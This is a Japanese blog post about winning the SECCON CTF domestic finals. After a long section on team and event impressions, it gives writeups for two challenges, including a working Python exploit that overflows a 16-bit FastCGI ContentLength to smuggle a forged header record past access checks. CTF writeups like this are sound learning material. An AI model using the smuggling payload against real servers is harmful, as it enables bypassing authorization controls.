3/1 - 3/2という日程で、オンサイト形式@浅草橋で開催された。3/1の11時開始で3/2の17時終了ということで30時間の競技だった。hiikunZさん、parabola0149さん、moraさんとBunkyoWesterns*1として参加して優勝した。やったー🎉
国内1位(2021年度)、国内決勝1位(2022年度)、国内決勝2位(2023年度)と来て2年ぶりの優勝なので嬉しい。嬉しいが、今回はWebを得意ジャンルとしている人間にはややつらい問題セットで、私は得点としてはあまりチームに貢献できていなかったので若干の申し訳なさがある。チームメンバーの皆さんありがとう。
ほかのメンバーのwriteup:

大会やチームについて
ルール・やっていたこと
JeopardyとKing of the Hill(KotHもしくはKoH)を並行して進めるような形式だった。大体は2022年度大会と同じなので、それらがどういうルールかについてはその際に書いたwriteupを参照されたい。異なっていたのは、以下の2点ぐらいだろうか。
- Jeopardyでは問題の点数が固定されているStatic Scoringでなく、解いたチーム数に応じて点数が変化していくDynamic Scoringが採用されていた
- KotHは両日とも同じような問題が出題されていた
- もちろん日中しか動かないし、KotHに関しては夜になにか作業する必要はまずなかった
ICC(International Cybersecurity Challenge)のように最終的にJeopardyとKotHの点数のバランスがいい感じになるよう調節する、たとえば各ルールの最高得点をもとに大体五分五分になるよう計算するというようなルールはなかった。つまり調整なしの生の得点が加算されていくので、KotHのスコアの計算式次第でゲームが崩壊する。また、Jeopardyで難しい問題が出題されるだろうことが過去の傾向から容易に想像できた。最終的なスコアではJeopardyよりも比重が大きくなりがちであり、かつ少なくとも日中はより得点しやすいKotHに時間をかける方が効率的だというのがチームの共通認識だった。
日中はKotHに注力するとして、Jeopardyはどうするか。基本的には夜にやるしかない。ただ、今回KotHで出題された2問はそれぞれReversing + 競プロ?とCrypto?という組み合わせであって、いずれもほかのメンバーの方が得意とするものであったからお任せし、私は日中もJeopardyの問題を解いていた。解くことができたのはWebとReversingでそれぞれ1問と、時間をかけた割には微妙な結果でなかなか悔しい。
なお、我々は合計で6943点を得点したが、Jeopardyが2011点でKotHが4932点という内訳であった。


チーム
以前書いた予選のwriteupを読まれていて、お前は予選落ちではなかったかと思われる方もいそうだけれども、まずこれについて説明したい。それは事実で、一方で私とは別にBunkyoWesternsが予選を通過し国内決勝へ歩を進めていた。しかしながら、同じ日程で開催される国際学会に行く、運営側に吸収される、別チームとして出る(予選段階からそうでそのまま決勝進出を果たしていたり、あるいは予選ではBunkyoWesternsだったけれども国際決勝に出るチームに移ったり)、オンサイトは参加したくない等の様々な事情から、予選に出場していたメンバーで国内決勝に出られる人がひとりもいないという状況になっていた。
もし決勝に出るメンバーが足りなそうであれば出たいと、まず普段はBunkyoWesternsとしてCTFに参加している私が(出られるなら出たいと思い)手を挙げた。結局BunkyoWesterns内でほかに出られそうなメンバーがいなそうだったので、なにかCrypto等の得意ジャンルがありつつも、しかしどのジャンルでも強い方としてhiikunZさんとparabola0149さんに声をかけ、またSatokiさんがPwnが強いmoraさんに声をかけていた。このようにして、普段BunkyoWesternsとしては出ていないメンバーばかりのチームBunkyoWesternsができあがった。

AlpacaHackとアルパカ
過去のCTFで出題された問題に挑戦したり、定期的に個人戦の短期間のCTFが開催されたりと、入門者から慣れている人までCTFを楽しめるプラットフォームであるAlpacaHackがブースを出展していた。決勝大会と並行して決勝観戦CTFなるCTFが開催されており、決勝参加者は残念ながら参加できない(といいつつも、hiikunZさんは「息抜き」として挑戦し15問を解いていて恐ろしかった)ものの、大変盛り上がっていた。
このCTFは解いた問題数に応じてTシャツや靴下等のグッズがもらえたらしい。どれもかわいいデザインで、これだけ決勝の問題が解けないのなら、いっそAlpacaHackの観戦CTFを遊んだ方がよいのではと競技中にしばしば邪念が生じた。チームメンバーやほかの参加者に失礼なのでもちろん遊ばなかったが、面白い問題ばかりが出題されていた(運営のminaminaoさんによるとdinosaurという問題が一押しだという)とアフターパーティーで聞いたのでいずれ挑戦したい。こうやって過去のCTFもすぐ遊べるのがAlpacaHackのよいところだ。
観戦CTFを遊ぶ代わりに、ブースに設置されたアルパカのぬいぐるみを撫でさせてもらったり、顔出しパネルで写真を撮ってもらったりした。AlpacaHackによる今後のこういった企画やCTFが楽しみだ。私も以前作問したが、提供はしたものの事情でその際は出題されず、宙ぶらりんとなっている1問があるのでそのうちまた私の問題が出るかもしれない。しらんけど。


その他の雑多な感想など
今回もれっくすさん作成の可視化システムが大活躍していた。かっこいいし、ある程度の間隔で気まぐれに、あるいは問題を解いた際にkurenaifさんが現れるのがよい。
今年度大会では、YouTube上で競技の様子がずっと配信されていたらしく、実際に可視化システムによってどんな形で競技が可視化されていたかが確認できるので、ぜひ視聴されたい。YouTubeといえば開催期間中にワークショップやCTF等について何本もショート動画が上がっており、担当されていたのがアスースンさん*2ということでさすがだと納得した。
現在のSECCONはCTFだけではなく、カンファレンス(いわく「電脳会議」)としてワークショップやトークも楽しめるようになっている。ただ、残念ながらタイムテーブルを見るとわかるように、決勝大会のプレイヤーは競技を放棄しない限りそれらを楽しむことはできない。悲しい。
両日ともにお昼ご飯が配られており、自分でなにか用意する必要がないし、おいしいしで大変体験がよかった。サンドイッチやおにぎりなので、やろうと思えばご飯を片手に作業することもできる。お菓子も用意されていて至れり尽くせりだった。

毎年言えることだけれども、問題のクオリティが高いしめちゃくちゃ難しい。さすがArkさんとRyotaKさんという感じだった。WebカテゴリもJailカテゴリ*3も、今回解けた問題以外ではあともうちょっとで解けそうだというものはまったくなかった。かなり悔しい。
問題に関連して、チームieraeのpotetisenseiさん*4も表彰式で言っていたけれども、JeopardyとKotHを同時進行という情報を知った時点で運営は寝させる気がないのだなあと思った。前述のようにKotHで点数を取れなければ負ける可能性が大きいし、とはいえJeopardyも放置できないのでそれは夜間にやらなければならない。ICCやDiceCTF Finalsのように、競技は2日間やるけれども、1日目はJeopardyで2日目はAttack & Defenseと完全にルールを分けてしまう、そして問題はもちろん両日で異なるので徹夜の必要はまずないというやり方もある。個人的には安心して眠れる健康CTFが嬉しいけれども、これはこれで競技時間が制限されて難易度の高い問題が出づらくなる等の問題があるし、一長一短ではある。
夜間の作業がまず必須であるルールならば、大会前後での有給休暇の申請や睡眠の調整、心の準備といったことを十分にやっておきたいので、事前にちゃんとした形でアナウンスをしてほしいと思う。今回のルール形式がJeopardyとKotHのミックスであると運営に知らされたのが決勝の3日前であり、それらのルールが同時進行であると(プレイヤーの質問に答える形で)アナウンスがあったのは前々日だった。運営の大変さは理解するし、このようにとても楽しい大会を開催いただけるだけでありがたいことだけれども、とはいえプレイヤーとしてはもうちょっとなんとかならないだろうかと思う。
国内決勝優勝ということで、賞金10万円に加えて、さくらインターネットさんからHHKB Studio*5がひとりひとつ、さらにさくらのクラウド20万円分のクーポンがもらえるらしい。ありがとうございます。さくらのクラウドのクーポンに有効期限等はあるだろうか*6。なかなか大きい額なので、もしそうならば使い切るための有効な利用法があまり思い浮かばず、BunkyoWesterns CTF開催の機運が高まる。

競技時間中に解いた問題
競技時間中に取り組んで解くことができた問題について、writeupを書いていく。前置きを長々と書いてきたけれども、前述のように今回はWebとReversingで1問ずつしか解くことができなかったし、KotHにも取り組んでいなかったのでwriteupとしては短いものとなる。解くことができなかったものの、アフターパーティー等で解法を聞き、後から復習した問題についても今後書きたいという気持ちがある。
[Web 173] super-fastcgi (6 solves)
We asked LLM to develop the fastest and secure FastCGI implementation!
(問題サーバのURL)
(Spoiler: It's actually slower than the nginx)
添付ファイル: super-fastcgi.tar.gz
author: RyotaK
ソースコードを読む
ソースコードが与えられているので、ローカルで立ち上げて試しにアクセスしてみる。以下のように、CGIっぽい名前の環境変数を出力しているらしいレスポンスが返ってきた。これだけ。
$ curl http://localhost/ Received FastCGI Request Params: REQUEST_URI: / REQUEST_METHOD: GET SERVER_NAME: server … SCRIPT_NAME: / REMOTE_PORT: 45006 SCRIPT_FILENAME: / Body length: 0
ソースコードを見ていく。compose.yaml は以下のような内容で、nginx, server, child という3つのコンテナがあり、このうち child がフラグを持っているのだなあと思う。
services: nginx: image: nginx:1.27.4 ports: - "80:80" volumes: - ./nginx.conf:/etc/nginx/nginx.conf:ro restart: always server: build: ./server restart: always child: build: ./child restart: always environment: - FLAG=SECCON{dummy}
nginx が使っているnginxの設定について、proxy_pass で全部 server:9090 に回しているらしい。また、以下のように $http_givemeflag という変数をチェックしており、givemeflag のようなヘッダが含まれている(正確にはこのヘッダがなんらかの値を含む)と怒られるらしい。
# Block requests containing GiveMeFlag in headers
if ($http_givemeflag) {
return 403;
}
serverを読む
server を見ていく。main.go と fcgi.go という2つのファイルがあるけれども、エントリーポイントのある前者から見ていく。9090/tcp でリッスンしている。child:9000 と、child コンテナを指して "FastCGI application address" と呼んでいる。
func main() { // Enable debug logging // slog.SetDefault(slog.New(slog.NewTextHandler(os.Stdout, &slog.HandlerOptions{Level: slog.LevelDebug}))) server := NewFastCGIServer( "child:9000", // FastCGI application address ) // Create HTTP server http.Handle("/", server) slog.Info("Starting server on :9090") if err := http.ListenAndServe(":9090", nil); err != nil { slog.Error("Failed to start server", "error", err) } }
ユーザからのリクエストを処理している関数は次の通り。長いのでよく似た処理は端折っている。ここでも givemeflag というヘッダがもし含まれていればそこで弾いている。NewClient という関数で child:9000 というFastCGIのサーバに接続し、いい感じに各種パラメータを詰めて送っている。
func (s *FastCGIServer) ServeHTTP(w http.ResponseWriter, r *http.Request) { slog.Debug("ServeHTTP", "request", r) if r.Header.Get("Givemeflag") != "" { w.Header().Set("Content-Type", "text/plain") w.WriteHeader(http.StatusForbidden) w.Write([]byte("You are not allowed to access this resource")) return } // Create FastCGI client client, err := NewClient("tcp", s.FcgiAddr) if err != nil { http.Error(w, "Failed to connect to FastCGI application", http.StatusBadGateway) slog.Error("FastCGI connection error", "error", err) return } // Read request body body, err := io.ReadAll(r.Body) if err != nil { http.Error(w, "Failed to read request body", http.StatusInternalServerError) return } // Build FastCGI parameters params := make(map[string]string) // … // Headers for header, values := range r.Header { header = strings.ToUpper(strings.Replace(header, "-", "_", -1)) if header == "CONTENT_TYPE" { params["CONTENT_TYPE"] = values[0] } else if header == "CONTENT_LENGTH" { params["CONTENT_LENGTH"] = values[0] } else { params["HTTP_"+header] = values[0] } } // … // Create FastCGI request fcgiReq := &Request{ Params: params, Body: body, } // Send request to FastCGI application response, err := client.Do(fcgiReq) if err != nil { http.Error(w, "Failed to process request", http.StatusBadGateway) slog.Error("FastCGI request error", "error", err) return } // Parse and send response s.parseAndSendResponse(w, response) }
NewClient を含めて、FastCGIのクライアント周りの細かい実装は fcgi.go で定義されている。main.go で呼ばれていた Do という関数は次のような内容で、
- リクエストの開始を通知
- ヘッダ等のパラメータを送信
- リクエストボディを送信
- レスポンスを受け取る
という順番でFastCGIのサーバとメッセージの送受信をしていることがわかる。
// Do sends a FastCGI request and returns the response func (c *Client) Do(req *Request) ([]byte, error) { requestID := uint16(rand.Intn(65535)) // Begin request if err := c.writeBeginRequest(requestID); err != nil { return nil, err } // Send params if err := c.writeParams(requestID, req.Params); err != nil { return nil, err } // Send stdin if err := c.writeStdin(requestID, req.Body); err != nil { return nil, err } // Read response return c.readResponse() }
write から始まる関数は大体同じ構造になっているので、このうちリクエストボディを送る writeStdin のみを紹介する。FastCGIのメッセージはヘッダとボディから成るのだけれども、まずボディのサイズ等が設定されたヘッダを作り、バイナリフォーマットにしてFastCGIサーバへ送信している。
ヘッダには Type というフィールドもあるが、これは続くボディの性質を意味する。FCGI_STDIN は標準入力のデータ(つまりリクエストボディ)を送信するという意味だし、FCGI_PARAMS ではヘッダ等のパラメータを送信するという意味になる。今回は FCGI_STDIN だ。そして、ヘッダに続けてリクエストボディも送っている。
const ( FCGI_BEGIN_REQUEST = 1 FCGI_ABORT_REQUEST = 2 FCGI_END_REQUEST = 3 FCGI_PARAMS = 4 FCGI_STDIN = 5 FCGI_STDOUT = 6 FCGI_STDERR = 7 FCGI_DATA = 8 FCGI_RESPONDER = 1 FCGI_VERSION_1 = 1 ) // … type header struct { Version uint8 Type uint8 RequestID uint16 ContentLength uint16 PaddingLength uint8 Reserved uint8 } // … func (c *Client) writeStdin(requestID uint16, content []byte) error { contentSize := len(content) h := header{ Version: FCGI_VERSION_1, Type: FCGI_STDIN, RequestID: requestID, ContentLength: uint16(contentSize), PaddingLength: 0, } if err := binary.Write(c.conn, binary.BigEndian, h); err != nil { return err } if _, err := c.conn.Write(content); err != nil { return err } // Write empty stdin record to signal end h = header{ Version: FCGI_VERSION_1, Type: FCGI_STDIN, RequestID: requestID, ContentLength: 0, PaddingLength: 0, } return binary.Write(c.conn, binary.BigEndian, h) }
FastCGIサーバから送られてきたレスポンスは次の readResponse で処理している。FCGI_STDOUT は標準出力のデータ(つまりレスポンス)が送信されていることを意味する Type だけれども、それが送られてくる限りバッファに溜め続け、リクエストの処理が完了したことを意味する FCGI_END_REQUEST が送られてきたら、やっと全部のレスポンスが返ってきたとして、バッファを返り値として返している。
func (c *Client) readResponse() ([]byte, error) { reader := bufio.NewReader(c.conn) var response []byte for { h := new(header) if err := binary.Read(reader, binary.BigEndian, h); err != nil { return nil, err } content := make([]byte, h.ContentLength) if _, err := io.ReadFull(reader, content); err != nil { return nil, err } // Skip padding if h.PaddingLength > 0 { padding := make([]byte, h.PaddingLength) if _, err := io.ReadFull(reader, padding); err != nil { return nil, err } } switch h.Type { case FCGI_STDOUT: response = append(response, content...) case FCGI_STDERR: return nil, errors.New(string(content)) case FCGI_END_REQUEST: return response, nil } } }
childを読む
ここまで読んできた server はFastCGIのクライアント側だけれども、次はサーバ側である child を読んでいく。こちらは child.go というひとつのファイルしかない。そして、案の定ライブラリ等を使わず server と同様に自前でFastCGIのメッセージのパーサやらなんやらが書かれている。
まずエントリーポイントは次の通り。9000/tcpでリッスンしているだけで特に変なところはない。
// Starts listening for FastCGI requests on port 9000 func main() { // Enable debug logging // slog.SetDefault(slog.New(slog.NewTextHandler(os.Stdout, &slog.HandlerOptions{Level: slog.LevelDebug}))) listener, err := net.Listen("tcp", ":9000") if err != nil { slog.Error("failed to start server", "error", err) } defer listener.Close() slog.Info("FastCGI server listening on :9000") for { conn, err := listener.Accept() if err != nil { slog.Error("Error accepting connection", "error", err) continue } go handleConnection(conn) } }
クライアントが接続してくると handleConnection が呼ばれている。この関数は長めなので、ちまちま読んでいく。全体の流れとしては、先程も紹介したようにFastCGIのメッセージはヘッダとボディから成るので、ヘッダを受け取ってボディの長さを知り、それをもとにボディを読む、そしてリクエストに含まれるすべての情報を受け取るまでこれを繰り返している。
ヘッダとボディを呼んでいる箇所は次の通り。特に不思議な処理はなく、ヘッダから ContentLength で指定されたバイト数だけをボディとして読み取っているのがわかる。
h := &header{}
if err := binary.Read(reader, binary.BigEndian, h); err != nil {
if err != io.EOF {
slog.Error("Error reading header", "error", err)
}
return
}
slog.Debug("Header", "header", h)
content := make([]byte, h.ContentLength)
if _, err := io.ReadFull(reader, content); err != nil {
slog.Error("Error reading content", "error", err)
return
}
slog.Debug("Content", "content", string(content))
// Skip padding
if h.PaddingLength > 0 {
padding := make([]byte, h.PaddingLength)
if _, err := io.ReadFull(reader, padding); err != nil {
slog.Error("Error reading padding", "error", err)
return
}
}
受け取ったボディについて、ヘッダの Type をもとに処理をしている。リクエストの開始を意味する FCGI_BEGIN_REQUEST がまず送られてくるようになっているが、これはどうでもいいらしく無視。ヘッダ等のパラメータが含まれる FCGI_PARAMS では、いい感じにキーと値をパースしている。そして、リクエストボディが含まれる FCGI_STDIN では、ContentLength が0であるメッセージが来るまで読み取り続ける。ContentLength が0である、つまりボディが空であるメッセージが来れば、ようやくクライアントにレスポンスを返している。
switch h.Type { case FCGI_BEGIN_REQUEST: // Just acknowledge the begin request continue case FCGI_PARAMS: if h.ContentLength == 0 { // Empty PARAMS record signals end of params continue } // Parse FastCGI params pos := 0 for pos < len(content) { nameLen, paramPos := readLength(content, pos) valueLen, paramPos := readLength(content, paramPos) if paramPos+int(nameLen)+int(valueLen) > len(content) { break } name := string(content[paramPos : paramPos+int(nameLen)]) value := string(content[paramPos+int(nameLen) : paramPos+int(nameLen)+int(valueLen)]) params[name] = value pos = paramPos + int(nameLen) + int(valueLen) } case FCGI_STDIN: if h.ContentLength == 0 { // Empty STDIN record signals end of request sendResponse(conn, h.RequestID, params, body) continue } body = append(body, content...) }
sendResponse は次の通り。クライアントから受け取ったパラメータやリクエストボディを handleRequest に投げてレスポンスとするバイト列を得ている。そして、FCGI_STDOUT であるメッセージでそれを送信し、FCGI_END_REQUEST でリクエストの処理が完了したことをクライアントに知らせている。
func sendResponse(conn net.Conn, requestID uint16, params map[string]string, body []byte) { response := handleRequest(params, body) // Write STDOUT record writeRecord(conn, FCGI_STDOUT, requestID, []byte(response)) // Empty STDOUT to signal end writeRecord(conn, FCGI_STDOUT, requestID, nil) // Write END_REQUEST record endRequest := make([]byte, 8) writeRecord(conn, FCGI_END_REQUEST, requestID, endRequest) }
レスポンスを生成する handleRequest は次の通り。もし givemeflag というヘッダが送信されていて、その値が true であればフラグを返している。もし条件を満たしていなければ、与えられたパラメータやボディのサイズを返している。
func handleRequest(params map[string]string, body []byte) string { if params["HTTP_GIVEMEFLAG"] == "true" { return "Content-type: text/plain\r\n\r\nOh, you want the flag? Here you go: " + os.Getenv("FLAG") } response := fmt.Sprintf("Content-type: text/plain\r\n\r\nReceived FastCGI Request\n\nParams:\n") for key, value := range params { response += fmt.Sprintf("%s: %s\n", key, value) } response += fmt.Sprintf("\nBody length: %d\n", len(body)) return response }
脆弱性はどこに
自前でFastCGIのクライアントとサーバを実装しているということで、同じメッセージ等に対するそれぞれでの解釈の違いみたいなものがあるのではないかと考えた。Request Smugglingのようなことができると嬉しい。
FastCGIの仕様やソースコードを眺めていると、FastCGIのヘッダに含まれる contentLength が16ビットであることを不思議に思った。HTTPリクエストのヘッダやボディで大きなデータを送ってしまえば、オーバーフローしてしまうのではないか。ヘッダだとnginxに Request Header Or Cookie Too Large という感じで怒られるので、やるならボディだ。
ユーザから送られてきたリクエストボディをFastCGIのプロトコルに翻訳して送るのは writeStdin の役割だけれども、まずヘッダでは ContentLength について、リクエストボディのサイズを uint16 で16ビットにしたものを設定している。それはよいのだけれども、リクエストボディの入っている content は特に新たな ContentLength を使って切り出すというようなことはせず、そのままFastCGIサーバに送信している。気になる実装だ。
contentSize := len(content) h := header{ Version: FCGI_VERSION_1, Type: FCGI_STDIN, RequestID: requestID, ContentLength: uint16(contentSize), PaddingLength: 0, } if err := binary.Write(c.conn, binary.BigEndian, h); err != nil { return err } if _, err := c.conn.Write(content); err != nil { return err }
16ビットでは収まりきらない値が uint16 に渡されるとどうなるか確認してみる。先程のコードと似たようなシチュエーションで、65537バイトのバイト列が入ってくるような場合にどうなるかを確認する。すると、なんと 1 になってしまった。これでは、先程のコードで65537バイトのバイト列が渡ってきた際に、ヘッダでは ContentLength は1バイトだと通知しているのに、実際にはめちゃくちゃデカいバイト列が送られるとう状況が発生してしまう。
$ cat test.go
package main
import "fmt"
func main() {
buf := make([]byte, 65537)
fmt.Printf("%d\n", uint16(len(buf)))
}
$ go run test.go
1
では、これの何が問題になるのか。handleConnection で見たように、child はヘッダに含まれる ContentLength をもとに、それに続いて送られてくるボディを読んでいる。読もうとするサイズと実際のサイズにズレがあるために、メッセージの途中でボディとして読むのを切り上げてしまい、本来ボディとして読むべきそれ以降の箇所を、別のメッセージのヘッダとして読み始めてしまう。これによって、偽造したメッセージを送りつけることができるわけだ。
嘘のメッセージを送ると何が嬉しいか。givemeflag: true というヘッダが送られたことにするというのが今回のゴールであるわけだけれども、Type が FCGI_PARAMS である嘘のメッセージを送ってやることで、そういうことにできる。
とりあえず、まともなペイロードを送るのは後でやることにして、0x10000バイト以上のリクエストボディを送りつけてみる。
import httpx payload = b'' payload += b'A' * 0x10000 payload += b'B' * 100 httpx.post('http://localhost', data=payload)
ありがたいことにFastCGIのサーバ側ではどんなメッセージを受け取ったかをログに容易に出力できるようになっている。この設定を有効にした上で docker compose logs -f でコンテナのログを見てみる。壊れたヘッダのメッセージを受け取ったということになっており、考えた通りにinteger overflowのおかげで偽のメッセージを送ることができそうだとわかった。
child-1 | time=2025-03-03T17:55:11.598Z level=DEBUG msg=Header header="&{Version:65 Type:65 RequestID:16705 ContentLength:16705 PaddingLength:65 Reserved:65}"
解く
あとは細工したメッセージを送るだけだ。送りたいメッセージは2つで、まず FCGI_PARAMS で HTTP_GIVEMEFLAG というパラメータを追加して givemeflag というヘッダが送られたことにし、続いて ContentLength が0である FCGI_STDIN を送ることでリクエストが終了したと知らせる。次のようなスクリプトが出来上がった。
import struct import httpx def p16(x): return struct.pack('>h', x) def make_mesage(id): message = b'' m = b'\x0f\x04HTTP_GIVEMEFLAGtrue' # FCGI_PARAMSでHTTP_GIVEMEFLAGというパラメータを生やす message += b'\x01\x04' + p16(id) + b'\x00' + bytes([len(m)]) + b'\x00\x00' + m # FCGI_STDINをレスポンスをflushさせるために送る message += b'\x01\x05' + p16(id) + b'\x00\x00\x00\x00' return message pad = 0x10001 # 0x10000だとContentLengthが0になってしまうので1足す payload = b'' payload += b'A' payload += make_mesage(12345) assert len(payload) <= pad payload = payload.ljust(pad, b'Z') try: r = httpx.post('http://(省略)/', data=payload, timeout=0.1) print(r.text) except: pass
実行するとフラグが得られた。
$ python3 solve.py
Oh, you want the flag? Here you go: SECCON{11m_h411ucin4t3d_t0_us...}
SECCON{11m_h411ucin4t3d_t0_us...}
こんなにスムーズには進んでいない。まず1日目の15時半ぐらいに ContentLength が16ビットであることに気づき、16時に大きなリクエストボディを送ると壊れることに気づいた。16時半には HTTP_GIVEMEFLAG を true とする FCGI_PARAMS のメッセージを送ることに成功している。そこからなぜか時間がかかり、結局解けたのは2日目の開始30分後であった。
[Reversing 145] simple_reversing (7 solves)
just check your flag
添付ファイル: simple_reversing.tar.gz
author: n01e0
x86_64のELFが与えられている。入力した文字列がフラグであるかどうかを確認してくれるバイナリらしい。
$ file ./simple_reversing ./simple_reversing: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=d09500a4bcd22182da9c890754f372e96be56b84, for GNU/Linux 3.2.0, stripped $ ./simple_reversing Input flag: hoge Incorrect...
バイナリエディタで開いてみると RITE0300 というなんらかのシグネチャっぽいバイト列が見つかる。ググると組み込み向けの軽量Rubyであるmrubyの、mrbというファイルのものらしいとわかる。なるほど、バイトコードを逆アセンブルして読む系の問題なんだろうなあと察する。こういう問題は往々にして解きやすいので、一旦後回しにしていた。

あまりにほかの問題が解けず苦しかったので、気分転換として改めて確認することにした。mrubyのリポジトリをcloneしてビルドすると、いくつか実行ファイルが利用できるようになる。バイトコードを逆アセンブルできるものがないか各コマンドについて確認していると、mruby の --verbose オプションでできるとわかった。
$ ./bin/mruby -h Usage: ./bin/mruby [switches] [programfile] [arguments] switches: -b load and execute RiteBinary (mrb) file -c check syntax only -d set debugging flags (set $DEBUG to true) -e 'command' one line of script -r library load the library before executing your script -v print version number, then run in verbose mode --verbose run in verbose mode --version print the version --copyright print the copyright
mruby --verbose poyo.mrb のようにして先ほど切り出したバイトコードを逆アセンブルする。無名関数っぽいものをいっぱい使っておりちょっと面倒くさそうに見える。
$ ~/tools/mruby/bin/mruby --verbose poyo.mrb
irep 0x5654ece54ad0 nregs=10 nlocals=4 pools=2 syms=6 reps=9 ilen=94
local variable names:
R1:size_check
R2:split
R3:checker
000 LAMBDA R1 I[0]
003 LAMBDA R2 I[1]
006 LAMBDA R4 I[2]
009 LAMBDA R5 I[3]
012 LAMBDA R6 I[4]
015 LAMBDA R7 I[5]
018 LAMBDA R8 I[6]
021 LAMBDA R9 I[7]
024 ARRAY R3 R4 6 ; R3:checker
028 MOVE R4 R1 ; R1:size_check
031 GETGV R5 $input
034 SEND R4 :call n=1
038 JMPNOT R4 070
042 MOVE R4 R2 ; R2:split
045 GETGV R5 $input
048 SEND R4 :call n=1
052 MOVE R5 R3 ; R3:checker
055 SEND R4 :zip n=1
059 BLOCK R5 I[8]
062 SENDB R4 :map n=0
066 SEND R4 :all? n=0
070 JMPNOT R4 084
074 STRING R5 L[0] ; Correct!
077 SSEND R4 :puts n=1
081 JMP 091
084 STRING R5 L[1] ; Incorrect...
087 SSEND R4 :puts n=1
091 RETURN R4
093 STOP
…
しかしながら、それらの無名関数であろう処理を見てみると大したことはやっていないことがわかる。次の命令列はその一部だが、mrubyの命令セットについてよく知らずとも、前者では [173, 187, 189, …] というような配列を作っており、また後者では ord(c) ^ 254 のようにXORしているのだろうと推測できる。
試しにPythonで bytes(x ^ 254 for x in [173, 187, 189, …]) とこの配列と254をXORしてみると、SECCON{S という文字列が出てきた。
irep 0x5654ece54e50 nregs=12 nlocals=3 pools=0 syms=2 reps=1 ilen=49
local variable names:
R1:s
000 ENTER 1:0:0:0:0:0:0 (0x40000)
004 MOVE R3 R1 ; R1:s
007 SEND R3 :chars n=0
011 BLOCK R4 I[0]
014 SENDB R3 :map n=0
018 LOADI8 R4 173
021 LOADI8 R5 187
024 LOADI8 R6 189
027 LOADI8 R7 189
030 LOADI8 R8 177
033 LOADI8 R9 176
036 LOADI8 R10 133
039 LOADI8 R11 173
042 ARRAY R4 R4 8
045 EQ R3 R4
047 RETURN R3
irep 0x5654ece54ee0 nregs=6 nlocals=3 pools=0 syms=2 reps=0 ilen=20
local variable names:
R1:c
000 ENTER 1:0:0:0:0:0:0 (0x40000)
004 MOVE R3 R1 ; R1:c
007 SEND R3 :ord n=0
011 LOADI8 R4 254
014 SEND R3 :^ n=1
018 RETURN R3
全部で6つの似たようなブロックがあった。重要な箇所の切り出しにあたってわざわざスクリプトを書くまでもないので、テキストエディタで配列の要素やXORする数値を抽出しつつJavaScriptで扱えるよう加工する。そして、それらをXORするようなスクリプトを用意した。
const s = [ [[173, 187, 189, 189, 177, 176, 133, 173], 254], [[55, 108, 0, 40, 111, 42, 51, 59], 95], [[253, 204, 145, 212, 145, 208, 253, 209], 162], [[116, 57, 31, 55, 40, 115, 50, 115], 64], [[195, 239, 244, 175, 195, 255, 168, 241], 156], [[30, 114, 75, 95, 29, 64, 80, 39], 45] ]; let res = ''; for (const [a, b] of s) { const r = String.fromCharCode(...a.map(x => x ^ b)); res += r; console.log(r); } console.log(res);
これを実行するとフラグが得られた。
SECCON{Sh3_w0uld_n3v3r_s4y_wh3r3_sh3_c4m3_fr0m}
*1:表彰式において言い間違いでTokyoWesternsと紹介されてしまったが、TokyoWesternsとは関係がないチームだ
*2:次回のASUSN CTFも楽しみにしております
*3:なんと説明すればよいかわからないカテゴリ。色々と制限されているサンドボックスから抜け出すという趣旨の問題が集められているという感じか。たとえばpp3という問題ではObjectやFunctionに対して好きにPrototype Pollutionできるし、その後で入力したJSコードが実行されるけど、実行できるJSコードは3つまでしか文字を含んではならない、かつ128文字以内でなければならないという無茶振りだった
*4:先生にさんをつけるのはなんかおかしな響きだけども。妥協の産物として普段はpotetiさんとか小池さんとか呼んでいる
*5:価格を見て驚いた
*6:セキュリティ・キャンプ等でもらったけれども、そのまま腐らせてしまった思い出が蘇る。ああ、そういえば8年前のセキュキャンでもらった(別の会社さんの)ノベルティにようかんが入っていたけれども、たぶん食べないまま実家に置いているなあ…